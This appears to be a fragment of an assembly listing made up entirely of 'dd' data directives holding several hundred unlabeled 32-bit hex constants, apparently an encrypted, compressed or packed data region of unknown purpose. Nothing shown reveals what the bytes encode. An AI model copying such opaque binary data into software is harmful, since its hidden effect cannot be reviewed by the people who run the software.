dd 61ECB1A0h, 0E9758904h, 40AF670Ah, 5B1ED00h, 0E6BD2827h
dd 4ECE83E2h, 0E59DE822h, 0ACD312BEh, 9ECD1839h, 16BFE363h
dd 0B11A04Eh, 5E887C22h, 0D4950988h, 75F21AFFh, 0A290D93Ah
dd 7582CD8Ah, 583E76C0h, 2D4DD158h, 0E00C106Ah, 5301B6Dh
dd 12047E45h, 70B9100Dh, 9CC02D84h, 2EE94428h, 40F4DAD2h
dd 191430EBh, 97C094B1h, 0C157E81Fh, 7F369FFCh, 7D56855Eh
dd 901DF249h, 0F90D49A4h, 0F42BD6EFh, 0E9EC01E2h, 0DBBA1135h
dd 7017090Bh, 23E49D83h, 6628C32Dh, 0E1587ACBh, 0E948C568h
dd 7BA5B77h, 0E35A5BD0h, 1C2F7467h, 0E7807D43h, 17BC5525h
dd 0E49B0CC1h, 0EA87E114h, 295D4EA2h, 0A89E15FEh, 10563D0Ch
dd 0E507A305h, 1BE91405h, 7653E949h, 0BEE4C53Ch, 8B0ABFA2h
dd 58955B0Bh, 0E84D64E9h, 0D9C82769h, 7AB18906h, 18C1131Bh
dd 45C70468h, 65E21181h, 5604FB3Ah, 17127F9Ch, 4CEC8F2h
dd 2E950780h, 0ACB0707Eh, 2975A502h, 14415D08h, 0DFE9D801h
dd 4E2C794Dh, 0F09F8EDh, 89D50525h, 0D6B07D8h, 65FDF38Bh
dd 0ADA4AB66h, 0DE4E4C93h, 2051ECD2h, 0F659847h, 7EF96B26h
dd 5478C56Bh, 0C4F85D5Ah, 9ACC7A9h, 6EDFE066h, 0EB2D8051h
dd 6691412h, 4BD01FAAh, 175F7745h, 4DE90BF0h, 504E53F8h
dd 0E23867EBh, 0C67F6316h, 3542049h, 26685C14h, 0A9F184F7h
dd 0F1C1BA16h, 0E82FE503h, 0A62DB0B9h, 6AEB1D06h, 0F97E0B05h
dd 7052A6Ah, 42E9C052h, 3E012428h, 1590CF81h, 0C940162Fh
dd 4EEA1A43h, 836CC063h, 9990FFC2h, 3FE12F70h, 929FC5E2h
dd 2930FFD0h, 273D88B8h, 49777305h, 0C7E00316h, 268C6FFAh
dd 760BBF92h, 90FFE659h, 3853091Eh, 15D974DCh, 0C01BCE03h
dd 3BF2B00Ah, 649616D7h, 0E1D6F801h, 461BAh, 693DBEC7h
dd 0FD48014Fh, 0C8DA1677h, 4E40BBCh, 10830FBh, 0B531A768h
dd 11E7D5EEh, 4F12CEACh, 5EC9E5D1h, 5DEB8651h, 0D640EF59h
dd 300F5F48h, 8C924508h, 314D97C8h, 52362F41h, 3AD59797h
dd 2CC6851Ah, 2AE0988Dh, 37459FA1h, 160ACA80h, 5C86E90Bh
dd 0C181F9F6h, 7E7AAD76h, 93EA7B0h, 0CD893ABAh, 83581616h
dd 0A04D301Dh, 0BC83D72h, 3142E94Ch, 0D131D6F2h, 9F2C5898h
dd 45E3873Eh, 6FA88166h, 0F3C26A28h, 2E4D771Ch, 3278722Dh
dd 0A0A64DB4h, 590A9EC6h, 141C0768h, 0E95B5487h, 44982C6h
dd 3D6EA3E2h, 3100872Eh, 3EA020C3h, 6A01B116h, 40D211EAh
dd 124CD46Eh, 407B1308h, 1C396889h, 0B5F433E5h, 0E4E34E4Ah
dd 4CDD2A10h, 0C14110DCh, 17452D02h, 62574380h, 68070116h
dd 376F38A8h, 1C2D113Ch, 4C8D2B30h, 0E95E1A82h, 924C5A66h
dd 76C812Eh, 3D0108C8h, 0FF5B4D1Eh, 0F1683B84h, 84DBAE0Dh
dd 14FFBA69h, 2956BF18h, 0BE0C732Dh, 246EA097h, 446ACD4h
dd 3E8B09E3h, 95166DBDh, 9833BE06h, 5A8F04D0h, 0EE6AC968h
dd 0EFD7DACEh, 35209197h, 0EE516450h, 615C27E9h, 628BCEF3h
dd 9473DCFEh, 5F24FE3Ch, 30210A9h, 0C71E792Dh, 0DD83D218h
dd 0D7A7F67Bh, 0CD965396h, 87270BC8h, 5E97E160h, 0FDEF0112h
dd 0ADE86F79h, 0D844B482h, 0EE5C570Dh, 1A3E6302h, 18DDF28h
dd 8F7D3006h, 0A461D703h, 0EA7DE9h, 9C6EBA3h, 56584666h
dd 31ED6097h, 29808234h, 609B2D59h, 8E78733Ah, 5FE93DF9h
dd 705F04Ah, 0F811D13Ah, 9B96799Ah, 8B4D3288h, 657F01EBh
dd 6EF9A5E5h, 0E8B3208h, 44426851h, 9EDD3E33h, 0D5D397EAh
dd 0E1C109h, 37F2C952h, 0BC725A42h, 785DB174h, 9AC4BF00h
dd 7B74CA66h, 0FAC59FEBh, 8167D69h, 27E84CBDh, 4C714AA3h
dd 49E0C42h, 4A14A95Dh, 81F477E8h, 35D1F8D1h, 31C0D29Dh
dd 0B81F42F9h, 39350963h, 8D95E081h, 7EC56B82h, 7E60DC0Ch
dd 48D38518h, 57E645Ch, 16B309Ah, 9CE96180h, 0A0EBB2B3h
dd 2E517779h, 2F9628Fh, 32B12199h, 0C32EA0D5h, 694908C7h
dd 0E0821271h, 1AD70C4Bh, 23148279h, 45B9055Dh, 0A84F4A77h
dd 9EE3E74Bh, 0E3FA851Ah, 812D7BBCh, 65327D5Dh, 0F94204D4h
dd 81687249h, 0A27E55F7h, 45EC93Bh, 0E9420209h, 0A7FFED13h
dd 77094AA3h, 60A76345h, 0B5887003h, 7F9684F9h, 0EF814D40h
dd 16F91C57h, 1CF0130h, 96623E91h, 19BC4126h, 7A0ADDBAh
dd 0FE4BD7EDh, 680BCB2Bh, 18464CDDh, 7253AC97h, 0AC6B10CDh
dd 53E91E3Fh, 349E72A5h, 0C00C4352h, 0F36CBC99h, 8BCBEDA0h
dd 39FA0C5Ah, 0CC618236h, 40512209h, 2D4DC791h, 835F7B0Eh
dd 0C8EDE1ABh, 20E90A89h, 0DD957515h, 68A0E693h, 36964DD4h
dd 0ABF84E44h, 0B8D54B73h, 48990FEh, 7CBB9B71h, 0B0AE5FC4h
dd 0D4FE9E6h, 0F3F14912h, 9DA65E30h, 175C9868h, 0A20985ACh
dd 0FE4A601Ch, 155A2513h, 538E4E96h, 5D0C297Dh, 0C810BCCh
dd 0CA666058h, 8CFEE054h, 2FB8604Bh, 766FEFE0h, 0F83D7025h
dd 1D286E77h, 0AA48C1A4h, 89C2ACECh, 897F5BDFh, 0FC657CBh
dd 0FB5AD027h, 9677A9D1h, 78E7B103h, 680DD81Eh, 973070BEh
dd 7A58A674h, 4CAB2F2Bh, 4080D28h, 0EF777668h, 90E749CCh
dd 41BC09E4h, 0C5845CF9h, 2E79CD0Eh, 6C8F2DEEh, 4837A25Bh
dd 9780578h, 481EF56Ch, 0E00ED156h, 2D64D802h, 0A8672FB6h
dd 0D2277AFEh, 2560E759h
dd 874BD00Dh, 966F041Eh, 3833ED3Eh, 0EBF42C59h, 60A26813h
dd 13A10503h, 11A84738h, 295BAD46h, 740D2BCh, 12BF5157h
dd 963EA82Fh, 417F6FBCh, 18B8605Ch, 3AC42A24h, 27C1EA00h
dd 66E9CE62h, 4A5895BFh, 9559970Bh, 33EAF737h, 0EA8F8138h
dd 7080FF82h, 35C950A3h, 80BF464Bh, 1B57B269h, 64A7E54Eh
dd 8592E913h, 27C0FAABh, 0C20EF580h, 872C7F06h, 483A017Ch
dd 0C0FAB5D1h, 806DB642h, 47ABC627h, 0AF52123Ah, 92B49305h
dd 80A5C3BEh, 0F455A09Ah, 0FE070648h, 361042C6h, 68B0F588h
dd 0B09D2284h, 1B57810h, 0B2C580DFh, 0C0A6B753h, 283D5BFDh
dd 4FEDBCE5h, 3DB108ECh, 0FDB7343Ch, 9B580EEh, 99756CE6h
dd 471F0AB5h, 90AA8F7h, 50C3315Dh, 0D75E4809h, 0C55E37E2h
dd 2ED98999h, 628CD1B0h, 877D4082h, 4FC93D1Dh, 0E9196796h
dd 40D6DE66h, 0DD2D9782h, 0FB72776Ah, 0A1C21E5Fh, 0AB317731h
dd 0E2FAF953h, 0DF743B77h, 0B2E79176h, 1BFE9F34h, 5746AF0Bh
dd 84972BC6h, 0F300273Eh, 386203A5h, 33696818h, 9D6435D5h
dd 7BE07FC9h, 0B0126BF6h, 0A052C0FDh, 624B5CE9h, 22A76B90h
dd 8340B7E3h, 31395F24h, 5E005F3Ch, 1539F4CDh, 890B479h
dd 0C62414E3h, 0C87BC101h, 0ECF3AF13h, 1FEBE94h, 0FC71C423h
dd 0CDC47045h, 96F03013h, 0A9686542h, 60137474h, 62C7507Dh
dd 0E99A5950h, 49EEE15Bh, 53524A87h, 0EA8384B7h, 628491A8h
dd 0E20112F2h, 6EA42DCAh, 6BF5C72Bh, 0FE55F64Ah, 799F0296h
dd 2F7AAB8Eh, 0C6FF7776h, 0B19F3C7Fh, 0C67525FDh, 122E5A9Bh
dd 0D179EA83h, 0E6B2EC02h, 0F0211939h, 0AD0CA05Eh, 19DF7E8h
dd 0D4AFF926h, 33B1D340h, 0E5313E80h, 810478AFh, 68689FF5h
dd 5C957CFEh, 30502756h, 0B2809D20h, 6050796Eh, 3ABBB50Ah
dd 0E7A04871h, 0F2DD2E3h, 0BF1F0C2h, 3151A455h, 0F3E06909h
dd 85B2B439h, 8C961EF6h, 0BFCC5FC9h, 137BE916h, 0C818E2F9h
dd 24763BD1h, 0D2EE9A97h, 0FA5F5FDCh, 63A2E824h, 97CE542Fh
dd 0C13B405h, 0E0BB491Ch, 6419F139h, 74F88276h, 0F6E8137Eh
dd 1D90DEBFh, 0E5C74B7Ch, 3BF261E0h, 5AEC22BEh, 726AA5DDh
dd 0AA4ABEF8h, 40613CD8h, 0AE4C2CF8h, 0C05804D8h, 7AC702EDh
dd 0D3F02825h, 31534046h, 0D0B55DF0h, 585BA6EBh, 272CC605h
dd 0BCE90612h, 4F9416A0h, 7E44A5EFh, 35623489h, 83685B07h
dd 0CB120E09h, 56B044E5h, 4AD83D02h, 0DD5CCCE9h, 0FB17AFA4h
dd 9C0CFB64h, 0BBA1421h, 483F498Fh, 31168701h, 38F12BB6h
dd 2C9BE17Bh, 1A05B717h, 0A4EFC2FEh, 660499FCh, 9F82B252h
dd 160277D3h, 0BE006BE7h, 48CBA526h, 14058951h, 0A940F612h
dd 6B0841C5h, 9DCF5238h, 0BE972C8Fh, 57EF5B20h, 0F57D4F6Ch
dd 1C080622h, 6166BD0Bh, 0CCC30608h, 0B4625EA4h, 4318BADEh
dd 95864EAEh, 0C982EDFh, 0A898927h, 0A23F3553h, 5DEA0B43h
dd 4B823958h, 30DD4529h, 803ED293h, 7A1E35BBh, 438767D4h
dd 5A1BFF44h, 2D0A7858h, 0FDD45FCCh, 0A9EF77Ah, 33536870h
dd 59E913F6h, 863F37BBh, 93906BABh, 2645809h, 0D4380B61h
dd 99C83112h, 485E02B1h, 3BA526Eh, 497E5D2Eh, 0E21BEA83h
dd 0B0132BF2h, 7F34F4EDh, 0A37AB7A6h, 3E5A0881h, 0D3C0F2ADh
dd 616850E0h, 0F1BD7870h, 3F984D54h, 0A26A90A5h, 4F4B4CD2h
dd 8373A3E9h, 0E5C15DDAh, 505A00A5h, 28DC7288h, 25B33867h
dd 7D715C59h, 96FD825h, 0AF04162Dh, 0F69B3502h, 5C02A208h
dd 614B627Ch, 96930741h, 4511C8B8h, 0F6971E70h, 3B5C51DDh
dd 821F24EFh, 57096D66h, 5C9F21D0h, 0E67027BEh, 0EAF65295h
dd 7CA7FBFDh, 2004CDE1h, 2C74F808h, 9B7A1FCh, 0F1315C84h
dd 685C0087h, 8C1F5F51h, 2A41E8E7h, 13FB75F5h, 0B85D3C0Bh
dd 50A1C590h, 30B561ABh, 2C643F42h, 3A1407D6h, 0E79ED7F6h
dd 40EF0FE4h, 3A97DA9h, 0E3209B6Eh, 68521371h, 158CFF8Eh
dd 482375A0h, 0CB01C815h, 2E490F40h, 23C0C643h, 91218F7h
dd 278A532Ch, 0BE1CD958h, 3BDD275Eh, 0E9D4EABBh, 7B385CA2h
dd 0BC79F4A7h, 9D5D266Fh, 27776608h, 1B09575Bh, 21EE779h
dd 0DBE95750h, 7BD7C989h, 75AF2A08h, 173B931h, 965AFDC1h
dd 0FE506A65h, 0D3E64A08h, 4102C114h, 464B26C6h, 0F717B805h
dd 0F7A8DEFAh, 5CBCD25Ah, 35058350h, 48A15FCh, 3F1982BAh
dd 0EA318BA2h, 37A8EE1h, 0D5E9EF56h, 4D2DEF72h, 2FA76752h
dd 7B752C09h, 417A881Bh, 7FECD430h, 70D76EAh, 76638AE1h
dd 91C9C728h, 8F4E4D6Ah, 0A0B7EE24h, 0E9CB0901h, 8161D460h
dd 54CF3607h, 0E7F9E406h, 86D12064h, 14249784h, 26B9A8B6h
dd 0B202064Bh, 5753C963h, 3F802F56h, 89C1E63Ah, 67E912DAh
dd 1233F387h, 22A7A6A9h, 1E6A2F7Bh, 28DABA3Bh, 0F32209FFh
dd 332D4251h, 10266801h, 0D2A81E6Ah, 0FEE3E0C5h, 0CB80C301h
dd 6EBC057h, 0E220E3D9h, 0E118700Dh, 7B27A36Fh, 0E6B7ED98h
dd 0E8965B8Eh, 20FFD389h, 7969688Ch, 0E9164D04h, 23AA4888h
dd 0A7A2ED51h, 0FDC1A141h, 89D3EC13h, 38E9CE12h, 88FFC385h
dd 0BDEC556Ah, 0F46B7F3Fh, 0F0BD19BAh, 0B1681757h, 7DE8B476h
dd 0DA825F82h, 457D0357h, 0D0CF3B28h, 330DEE3Bh, 16C07D44h
dd 0F52B4453h, 1C08060Bh, 49F0148Bh, 516F0A43h, 8A5A620Ch
dd 14CF8777h, 5228740h, 63E004Fh, 39C22560h, 0ECEA355Ch
dd 0BF13C13h, 6A2D08C0h, 0D51F2EBDh, 50D010B5h, 0BF4153CEh
dd 409F0630h, 0D5F6BEF9h, 85A01350h, 5D1962BDh, 6584A7Ch
dd 0A232D640h, 0EBFCB28h, 7D62C9E2h, 26597D46h, 0CD800BA8h
dd 0B6E387B9h, 1237E4B3h, 0E84EC317h, 9D84708Fh, 250F96F7h
dd 0E1D549E9h, 0ED2AC474h, 0A7BBB43Fh, 7733501Fh, 2566E97h
dd 8C720EBFh, 7E7D3122h, 0B359440h, 0D2305E2Dh, 0B80629A8h
dd 7B44681Dh, 0DB612DE3h, 0B54344F1h, 6816023Fh, 4FB273C7h
dd 0D0AD9865h, 5E542D95h, 0DF274067h, 0EEEC8496h, 0E96FD4B5h
dd 0D15579C2h, 307D5ACFh, 9570C305h, 11201DC7h, 0CD881437h
dd 2DEF6144h, 59C34390h, 5B4336B8h, 2C002D70h, 0B4050EBCh
dd 3E1E5508h, 751D801h, 41A01240h, 0E97D0844h, 923A804Bh
dd 31503ED5h, 23387D8Eh, 32BA5F50h, 0B1DE9A86h, 64BE5A17h
dd 5BB3BBC8h, 35A6801h, 0E1E90905h, 28752463h, 270182F0h
dd 7CBCE681h, 0F42B2630h, 0FFEAD47Eh, 3E097797h, 9E9F69DFh
dd 0A3DAD7CAh, 272D5279h, 441EDFCDh, 0E92B5D63h, 0A2EB94DCh
dd 8005C98Ah, 17A38C5h, 72D50C8h, 0FF874E59h, 9A1336CAh
dd 1F2DAB06h, 8802B8D5h, 1A08E956h, 8020F3h, 3ABE187Ch
dd 1BF7815Fh, 0C8F7112h, 0A26EC0E1h, 34175867h, 0C8BFA916h
dd 690F412Dh, 37871297h, 74C06012h, 167FCBDh, 0EB896010h
dd 2DD8315Dh, 7E518BE0h, 3515023Fh, 0ACFC032Eh, 2665C308h
dd 84780147h, 0A5898BAFh, 945603Ch, 4E92FDFh, 0DA8BCC8Eh
dd 0ECE9E2D8h, 3E92ADB5h, 6626FD27h, 1534E9Fh, 0A4565A41h
dd 401B281Fh, 0CF798907h, 5A7F38E7h, 0BAE55CFDh, 823B3167h
dd 0F6EB2216h, 825A01h, 0BE003F69h, 4AF0A454h, 29E0B03Bh
dd 82428997h, 90AB131h, 0E9FB09DDh, 5E2F16Fh, 0FAE13459h
dd 93922A61h, 6F0FF188h, 2A127D26h, 0BF4BA6B2h, 0FD6D1A39h
dd 23D3310h, 0E287C2BAh, 84E35550h, 9C57C9A7h, 6AAAFC38h
dd 30F61CCAh, 2CFEBD27h, 2D58C400h, 713C545Bh, 5E82829h
dd 0D64BD07h, 0C000FD41h
dd 307D1BF3h, 0F40C3290h, 9415CDF6h, 94A2D931h, 0CFEB28B7h
dd 285238E5h, 0E92408C6h, 0AFA8F044h, 0E82DC098h, 5B6BD84Eh
dd 0E266AE02h, 3AD99F84h, 77ED8158h, 0E178263Ch, 52EE1292h
dd 4A61AEF3h, 5F030B43h, 0CCD5BCB2h, 42EC2018h, 53793092h
dd 14C2D64Eh, 5A165C5Ah, 0EEB1C602h, 68415EF4h, 0CC3B7E39h
dd 2C25E90Ah, 0B7DF15Ch, 0CF103F16h, 67B77A3Eh, 7693BF44h
dd 61EABD99h, 34D0684Ch, 4B28A3Ah, 36756C1Ah, 702ECA80h
dd 1DF79E01h, 0DC1C793h, 0B527549h, 0E1D7D7BBh, 9F7A0C1Fh
dd 41A85E8Ch, 1774DD90h, 0B06E10CFh, 79440B02h, 0A5F2B7C1h
dd 3CFF5E5Eh, 0BE503139h, 99162718h, 2AB1BBFDh, 578ED6Bh
dd 1ACA02D0h, 7F54E301h, 7A802F14h, 8B875F4h, 154B84E9h
dd 36D57E44h, 43684F01h, 0C0E17C4Ah, 5B380676h, 49E100D1h
dd 1E17BA52h, 0F8957A9Dh, 54010CF1h, 0A90C7687h, 0C065A12h
dd 0E1F0BD87h, 7F684410h, 6CF10F75h, 1E40746h, 2A7DF8CFh
dd 0B4B0C143h, 4A8D2A59h, 0F40085ECh, 35097E6Fh, 0B9276B1Ah
dd 193DF4DDh, 2BBE2C5Eh, 8DAA9E13h, 8B742E94h, 0D51606A6h
dd 8839385Ah, 4E683F40h, 0EAF63Dh, 216D144Ch, 9003EBC1h
dd 7AC50A02h, 3FBD77BFh, 33AF0689h, 0A19BEB5Dh, 0A63BD451h
dd 1C0F178Bh, 9A9E3D8Ch, 0A9E92F72h, 4269A0F5h, 7C2C8C75h
dd 4F9C9087h, 598C8F25h, 0A76748EEh, 582BE9C2h, 0AD5850C8h
dd 90FDFE7h, 0FB773AC5h, 24B92BB2h, 6422FA8h, 1947F455h
dd 605533ACh, 35E6638Ah, 0DA24397Ch, 0BCA2DFB3h, 785A0CF2h
dd 82531622h, 688A2DCEh, 3D274629h, 63174A06h, 9E36A8DCh
dd 19FD9F17h, 0F892EB3Fh, 0D9E250A3h, 414BA204h, 8618FE5Ch
dd 0E1CFE9ABh, 0F3A884C3h, 16EBCA1h, 0A1ED172Ch, 0B17AD0C1h
dd 0D2FFDA52h, 0EB810037h, 3CCF086Ch, 0ACB0D329h, 1C4E0883h
dd 5337D3F9h, 8D10699Eh, 81805CFAh, 3DE07FCBh, 0FE951158h
dd 1621AFC5h, 0E6ABD613h, 0E95A052Bh, 2FD4D747h, 0CFDAB8FAh
dd 0D0A4CBCFh, 9DBD0F2Ch, 9812D693h, 316969Dh, 12EA2AE1h
dd 5208B4Eh, 79FF57D7h, 2B78890Fh, 7FB604ADh, 0CBB49B0h
dd 739D2819h, 2EB094E2h, 4EAA375Ah, 5FC4AB2Eh, 5C09EF40h
dd 85B25935h, 1F1CB252h, 4ECE56A4h, 0E4C45670h, 76FF978h
dd 5E716EF8h, 517948B2h, 8E4E8272h, 5BC0DDFEh, 2A2602C2h
dd 1B003F20h, 29195B0Eh, 81CD0D6h, 2D141C68h, 0F60F7BA9h
dd 0E77768EBh, 62F6AC87h, 0E901705Ah, 5D6E8AF0h, 0D603D22Ah
dd 0AC0B3634h, 0E216223Bh, 9070BEBh, 7C39D5EDh, 84122A73h
dd 32077FB2h, 0E201035Dh, 600B986Eh, 9F8CED57h, 0DA1C844h
dd 38B80053h, 0A93264Fh, 8D52516h, 6809B556h, 968468DBh
dd 0FF258571h, 41582399h, 79CE284h, 0D780FD79h, 0A9F31FCFh
dd 0C8BC5CFAh, 0D7147D27h, 7F258399h, 9660CC32h, 808045F1h
dd 0E3CCFFCBh, 9E0CC986h, 0B49239E3h, 2CCC835Fh, 659872Fh
dd 950CB106h, 4C267F6h, 0E8907D53h, 0ADC24A21h, 4C393F68h
dd 0FE48E40Ch, 0BFE91365h, 0B195514Ch, 40F2AA74h, 97941340h
dd 6850C8F4h, 0D2725FE8h, 0A25F562Dh, 404302BAh, 24FE60E8h
dd 1C667911h, 18772750h, 3C21B08Ah, 4086282Ch, 0D307E0C0h
dd 58594844h, 80099F88h, 615D8DE5h, 0C04105A0h, 0C99D2DCBh
dd 2D52DFE1h, 0B5749DDFh, 0A8198489h, 292F96h, 0E37045C2h
dd 0BA585F7Fh, 0B6523230h, 0D2B10285h, 885AF128h, 97E9EFC0h
dd 9AE55F3h, 6C772CE1h, 0EC7497DEh, 6D05E905h, 1E40A252h
dd 0FA7215F6h, 37F29763h, 67257001h, 180E923h, 7EEBC58Fh
dd 0EE20B745h, 0C6EA4970h, 0DE4F7D44h, 0C274810Ch, 0A0DA012Fh
dd 0CD008FAh, 0CD065014h, 0F197A59Ah, 0EA50C47Eh, 4F83C1C0h
dd 41514134h, 9B54BFh, 3D53C4FEh, 832529B7h, 7EB5A070h
dd 55E9F048h, 36EEFD5Bh, 77263AB9h, 4042171Ch, 0C1277464h
dd 57D11E9h, 394D9600h, 58138A7h, 856D57F5h, 5DC2AF02h
dd 3C23DE43h, 0EE52C296h, 0E9D62480h, 405660B7h, 0A9296BB9h
dd 2ABB6701h, 31412F2Eh, 0E9662C3Bh, 30B737FEh, 97E66D7Ah
dd 5505DCC4h, 47AA6852h, 627B73E3h, 996C4158h, 6946D17Fh
dd 0D2C73066h, 69907AE4h, 2DDF74Dh, 851FB850h, 405D9613h
dd 80A3277Fh, 20BF781h, 7557EB16h, 6CD10A87h, 31136030h
dd 3F84718Fh, 0BDC50BC1h, 64FC2102h, 0E29D2EBDh, 909FC6A5h
dd 3EBB41CAh, 266772E9h, 7D5BD2F5h, 76EF5F6Bh, 0BC803FADh
dd 743D2CEDh, 24649C05h, 75ED7D25h, 7DED110Bh, 0D99FF79Ch
dd 0EC626A1h, 0BF135508h, 60186CA7h, 0B1C6793Eh, 0DE2ECD04h
dd 4FA8F131h, 9DEAE478h, 5204CA6Ch, 0A63DE954h, 1282E9A4h
dd 0C03E9E13h, 0F9A1BD92h, 0E2369A2Fh, 0E209DFC8h, 2B39D978h
dd 0BE56012Ch, 717E1D29h, 7CF6F470h, 20CD9813h, 0B5264945h
dd 73040495h, 0B2AAF530h, 50550EF5h, 88488068h, 792D584Dh
dd 4FF1584Fh, 412E7816h, 611939FEh, 68A1E977h, 8E9E5B41h
dd 9B10A742h, 6B8C5A67h, 1570602Ch, 35E76696h, 0CFEEC128h
dd 0FCBD3F9Ah, 7CF1896Eh, 6CC8420h, 0D0F43F45h, 68249F61h
dd 607361E2h, 0E6B1C44Eh, 8B80236h, 0F7530160h, 0F80DEA00h
dd 6C603047h, 4E680310h, 1E2AB33Ah, 7A9001FDh, 7EA140E9h
dd 4787A9ECh, 0DBDD0952h, 19E9C1E2h, 0E3BD6EE1h, 9596223Ch
dd 0C50EA854h, 0DA881368h, 0C66C442Bh, 7AB7402h, 76F309AAh
dd 97DAC2A0h, 1D25409h, 4E1216BDh, 72A82E5Fh, 2D5279Fh
dd 8990E9DEh, 0E8276A42h, 80676B7Dh, 282D5DBFh, 90AD010h
dd 6F55380Fh, 0C4C853D0h, 0D1FA2792h, 688037F0h, 141F171Eh
dd 317B4030h, 892D97D7h, 0F4E9D112h, 9E058DF0h, 7BFEA75Dh
dd 7CC3E9C2h, 0AF5E132Ch, 0CE814A07h, 2B185811h, 53CD8882h
dd 0A2E03132h, 0EB90895Ah, 0FC5CBB27h, 7CF9628Bh, 5A10F706h
dd 0B54FC49Ch, 0A2AC6ADBh, 2974EA4Fh, 0BED23FB9h, 9450378Ch
dd 0EDD00EFCh, 0CDFEE542h, 0FE15D9C3h, 2F71841h, 873988F2h
dd 0E5E05526h, 36C0C3CCh, 611575B9h, 20FF974Ch, 0F720C530h
dd 61FEF255h, 4E67EA5Fh, 809DEF41h, 8C4B38A1h, 20F0455Ah
dd 6CE162C1h, 0EE54408Bh, 4E776841h, 932AE33Fh, 26E672ECh
dd 0C2CEE925h, 55565FE2h, 9CBF805Eh, 12E317BFh, 0C9C4A231h
dd 0DD608052h, 0BF4E15E9h, 0C693896Bh, 1BF20860h, 0CD52A903h
dd 520D1A4Ch, 5A440529h, 7C9AE92Dh, 0E1A97AF1h, 0C30254ECh
dd 69FB8AF6h, 5F4BE853h, 33222F20h, 700F3E2h, 3EE9415Bh
dd 9D97A9Dh, 0E788ABB4h, 1781804h, 8D9BD66h, 1FD5F4D2h
dd 9E5D27B7h, 82175A8Bh, 9CDE0170h, 3E685740h, 2FBFAD6Ch
dd 0B00060D6h, 0E9710E70h, 4F0C6267h, 9308332Ah, 0FC767200h
dd 0E2172D44h, 0A1034EDFh, 0AE0704ECh, 0C14BD50h, 3E5226E9h
dd 9DFC9859h, 0FEDBA285h, 0A89A49E2h, 176F82C0h, 0DED841E9h
dd 3A42C5E9h, 2B060DF3h, 0C73DD41h, 173E5CE8h, 5BEE1D55h
dd 0E926FD41h, 0D32ED7AFh, 0C2999D3Ch, 0FA6C70CDh, 0E797F6Ch
dd 0CC0E4BF6h, 4B409FD5h, 7085FC47h, 94759D82h, 0C9C20463h
dd 0FA0D1A68h, 80418F1h, 0F6AEB9C5h, 8ED684E6h, 0E46E57EBh
dd 0F201EBC9h, 0E93D37C9h, 0B8517EB8h, 1053272h, 0E724313Dh
dd 0A5BD473h, 5008F424h, 0D7CEC91Dh, 3B50D222h, 29E909EFh
dd 0CD985733h, 0D62C425Dh, 1E312516h, 56B06F3h, 4580CABh
dd 0C02ABD13h, 2E95BE4h
dd 770DE2B5h, 9516B74h, 0EFB6137Eh, 481CD4D0h, 0E7414E33h
dd 0C7E21819h, 0EECC046h, 8AC48006h, 0F6EECC61h, 0A1085DCh
dd 0ABA83FE9h, 22F94Ah, 4F5B1CEAh, 91D601E3h, 0AC0964E1h
dd 4D5A7AA7h, 0AD7CA30h, 495B24F8h, 8801121Eh, 0AC813129h
dd 9771CAD8h, 0F595CA1Ch, 0E91A46B6h, 0FFA6AF8Eh, 6806BC71h
dd 6C671E61h, 5E7C8F77h, 1BBE7A1Eh, 33E8E8D6h, 0D38FA5Fh
dd 40314181h, 0A3DFF0B9h, 0F527D879h, 254A225Eh, 0B5EB2276h
dd 0EB7970FDh, 216B1097h, 2A5AD8D7h, 0C56454EFh, 76A277Ah
dd 0BBCD97Ah, 28541988h, 595E9F39h, 0F1FA0C34h, 6133F965h
dd 0EF492A3Fh, 92977551h, 68A468A5h, 0CC2E53DBh, 0E1ACE916h
dd 0DFEFFDCCh, 0BE5671B2h, 821E55E9h, 18FDE913h, 533D99A3h
dd 143F9318h, 2C3CDB34h, 0FFA8B5D4h, 3EA3E2BFh, 0EBE615D6h
dd 0B2AB93BFh, 31471877h, 18A6F289h, 0C78D975h, 0D524262Ah
dd 0DE024439h, 0FD2ECE33h, 0F0075B0Eh, 54EFC0D8h, 4B5BFC29h
dd 840B5BDh, 0C0A02EE9h, 0F445A031h, 0D1375F1Ch, 522C2E58h
dd 5643C1E7h, 630656F9h, 0EC907895h, 0F6D6C2E1h, 53F5E600h
dd 3DC0BDB7h, 0C78904E7h, 218964E9h, 2D5E7BD5h, 179C6D4h
dd 1456EF14h, 810F6BFCh, 7ACF3F1h, 754183A4h, 0F65A0478h
dd 2DB7D265h, 0F431FE5Fh, 0E16C33E9h, 784F6809h, 5064CBD6h
dd 0BCC6FAC1h, 0A966272Bh, 5F46B285h, 0E82687DFh, 0A88AA53Bh
dd 0A3126EEh, 521FFE25h, 60B77D3h, 0AEDCF984h, 95DA8913h
dd 0C67F69DFh, 0A04A0D38h, 2403B130h, 0D7BA7FFDh, 0E9C3B8A3h
dd 0EAB9696h, 4FE5A804h, 1449ABC5h, 5375417Bh, 0A2F4EC2Ah
dd 571F0C9h, 0F05247BEh, 438DC36Fh, 9050D3Dh, 0F50DF203h
dd 12074F08h, 9230A25Eh, 404D52F4h, 52B52D37h, 7E5748A9h
dd 5EF99B16h, 81681409h, 1640FDC4h, 5E7E0E0h, 0C174CF4Ah
dd 0C0961CE3h, 184C30A4h, 0C6B4A5E9h, 0F8CCF02Fh, 4AEA94DAh
dd 0B7980C13h, 0CD985E10h, 735DC2F3h, 4E7527B9h, 4BE9127Ch
dd 879C966h, 2A9E2DC0h, 58B5D1Dh, 0FFB07735h, 71B577EEh
dd 6A80DADFh, 12481A5Dh, 0A9E95209h, 0E41F27Eh, 4F04AAEEh
dd 404B532h, 5084BF08h, 0B9CF6AAh, 0DE557EE9h, 0E8579239h
dd 46EAA5F8h, 844FEC3h, 0ED805905h, 5EF30E5h, 4562A34Eh
dd 873B117h, 5A00CC83h, 0F6DEE180h, 0B0501FD9h, 0B9C78A4Eh
dd 216B80E9h, 510D3D4Ch, 531D721Eh, 25787982h, 0B570DF36h
dd 2098CD5Ch, 48A9861h, 0E37B99EFh, 0D5F5EBF7h, 9B56E720h
dd 0BD2AB07Ch, 2612EE5Ch, 1A04D729h, 71FE8DAh, 2F64747Fh
dd 0D3D63D45h, 0FEF1ED8Dh, 37A941C5h, 1F286958h, 34135E9Ch
dd 684C1F1Fh, 28EFEF50h, 25415857h, 0EC7F644Bh, 73532003h
dd 0B535448h, 0F61C02BFh, 531212E3h, 0E2D5ABA9h, 77B058A8h
dd 1E30387Dh, 5E085201h, 0E32BFB8Bh, 0F0E985D5h, 9C537FB0h
dd 425C49F4h, 0D42DD30Bh, 7B35708Eh, 5F6BDF83h, 50D9A3C3h
dd 528C7F34h, 9D67281Dh, 3B012CDEh, 0AE7E525Ah, 2B300CCDh
